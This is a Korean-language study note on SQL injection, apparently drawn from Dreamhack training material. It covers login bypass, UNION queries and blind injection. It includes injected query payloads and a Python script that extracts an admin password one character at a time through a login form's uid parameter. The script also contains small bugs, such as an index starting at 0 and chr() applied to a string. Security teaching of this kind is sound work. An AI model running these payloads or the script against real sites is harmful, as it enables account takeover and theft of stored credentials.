Web Hacking - SQL Injection (2)

  • Simple SQL Injection
  • Bline SQL Injection

ServerSide : SQL Injection

Injection : 이용자의 입력값이 애플리케이션의 처리 과정에서 구조 또는 문법적인 데이터로 해석되어 발생하는 취약점

SQL Injection

SQL은 DBMS에 데이터를 질의하는 언어로, 웹 서비스는 이용자의 입력(로그인 시에 ID/PW, 게시글의 제목과 내용)을 SQL 구문에 포함하여 요청하는 경우가 있다. 아래는 로그인 시 애플리케이션이 DBMS에 질의하는 퀴리의 예시이며, 사용자가 입력한 id와 pw가 뭐리문에 포함되어있는 것을 알 수 있다. 이처럼 SQL에 이용자가 임의 문자열을 삽입하는 행위를 SQL Injection이라 하며, 이 때 우리는 조작된 쿼리로 인증을 우회하거나, 데이터베이스의 정보를 유출할 수 있다.

/*
아래 쿼리 질의는 다음과 같은 의미를 가지고 있습니다.
- SELECT: 조회 명령어
- *: 테이블의 모든 컬럼 조회
- FROM accounts: accounts 테이블 에서 데이터를 조회할 것이라고 지정
- WHERE user_id='dreamhack' and user_pw='password': user_id 컬럼이 dreamhack이고, user_pw 컬럼이 password인 데이터로 범위 지정
즉, 이를 해석하면 DBMS에 저장된 accounts 테이블에서 이용자의 아이디가 dreamhack이고, 비밀번호가 password인 데이터를 조회
*/
SELECT * FROM accounts WHERE user_id='dreamhack' and user_pw='password'



아래의 쿼리에서는 user_pw 조건문이 사라져있으며, 이러한 경우 비밀번호의 대조 없이 id만으로 계정에 로그인이 가능하다

/*
아래 쿼리 질의는 다음과 같은 의미를 가지고 있습니다.
- SELECT: 조회 명령어
- *: 테이블의 모든 컬럼 조회
- FROM accounts: accounts 테이블 에서 데이터를 조회할 것이라고 지정
- WHERE user_id='admin': user_id 컬럼이 admin인 데이터로 범위 지정
즉, 이를 해석하면 DBMS에 저장된 accounts 테이블에서 이용자의 아이디가 admin인 데이터를 조회
*/
SELECT * FROM accounts WHERE user_id='admin'

Simple SQL Injection

Union Operator : link
SQL에서 Union은 두 개 이상의 result-set을 결합하는 역할을 한다. 기존의 코드는 user_table에서 uid의 값만 select하기에, SQL을 실행했을 때, uid의 값만을 받아올 수 있다. 따라서, union을 사용하여 upw를 함께 받아오는 코드를 작성한 후, 후의 코드를 –를 통해 주석처리 해주었다.



결과

Blind SQL Injection

아래의 예시와 같이, 스무고개와 유사한 방식으로 데이터를 알아낼 수 있다. DBMS가 답변 가능한 형태로 질문하며, 질의 결과를 이용자가 직접 화면에서 확인하지 못할 때, 참과 거짓의 반환 결과로 데이터를 획득한다

  1. Question #1. dreamhack 계정의 비밀번호 첫 번째 글자는 ‘x’ 인가요?
    Answer. 아닙니다

  2. Question #2. dreamhack 계정의 비밀번호 첫 번째 글자는 ‘p’ 인가요?
    Answer. 맞습니다 (첫 번째 글자 = p)

  3. Question #3. dreamhack 계정의 비밀번호 두 번째 글자는 ‘y’ 인가요?
    Answer. 아닙니다.

  4. Question #4. dreamhack 계정의 비밀번호 두 번째 글자는 ‘a’인가요?
    Answer. 맞습니다. (두 번째 글자 = a)



예시 코드

#  번째 글자 구하기 (아스키 114 = 'r', 115 = 's'')
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=114-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=115-- ' and upw=''; # True
#  번째 글자 구하기 (아스키 115 = 's', 116 = 't')
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=115-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=116-- ' and upw=''; # True 

Blind SQL Injection은 한 바이트씩 비교하기 때문에 다른 공격에 비해 많은 시간을 들여야 하며, 이를 해결하기 위해서는 공격을 자동화하는 스크립트를 작성해야 한다.

request 모듈 GET 예제 코드

import requests
url = 'https://dreamhack.io/' # 요청 보낼 url
headers = { # 요청 헤더
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'DREAMHACK_REQUEST'
}
params = { # 보낼 파라미터 변수 (key-value 형식)
    'test': 1,
}
for i in range(1, 5):
    c = requests.get(url + str(i), headers=headers, params=params)
    print(c.request.url)
    print(c.text)

request 모듈 POST 예제 코드

import requests
url = 'https://dreamhack.io/'
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'DREAMHACK_REQUEST'
}
data = {
    'test': 1,
}
for i in range(1, 5):
    c = requests.post(url + str(i), headers=headers, data=data)
    print(c.text)

Blind SQL Injection으로 비밀번호를 알아내는 경우, 알파벳과 숫자, 특수문자를 모두 포함한 범위를 지정해야한다. 아래는 이를 고려하여 작성한 스크립트로, 비밀번호에 포함되는 모든 문자를 string을 사용하여 생성하고, 모든 문자를 한 바이트씩 비교하는 반복문을 작성한다. 반복문 실행 중 반환 결과가 참일 경우 Login success 문자열을 찾고, 해당 결과를 반환한 문자를 password에 저장한다. 이 작업이 끝나면 비밀번호를 알아낼 수 있다.

#!/usr/bin/python3
import requests
import string
url = 'http://example.com/login' # example URL
params = {
    'uid': '',
    'upw': ''
}
tc = string.ascii_letters + string.digits + string.punctuation # abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~
query = '''
admin' and ascii(substr(upw,{idx},1))={val}--
'''
password = ''
for idx in range(0, 20):
    for ch in tc:
        params['uid'] = query.format(idx=idx, val=ord(ch)).strip("\n")
        c = requests.get(url, params=params)
        print(c.request.url)
        if c.text.find("Login success") != -1:
            password += chr(ch)
            break
print(f"Password is {password}")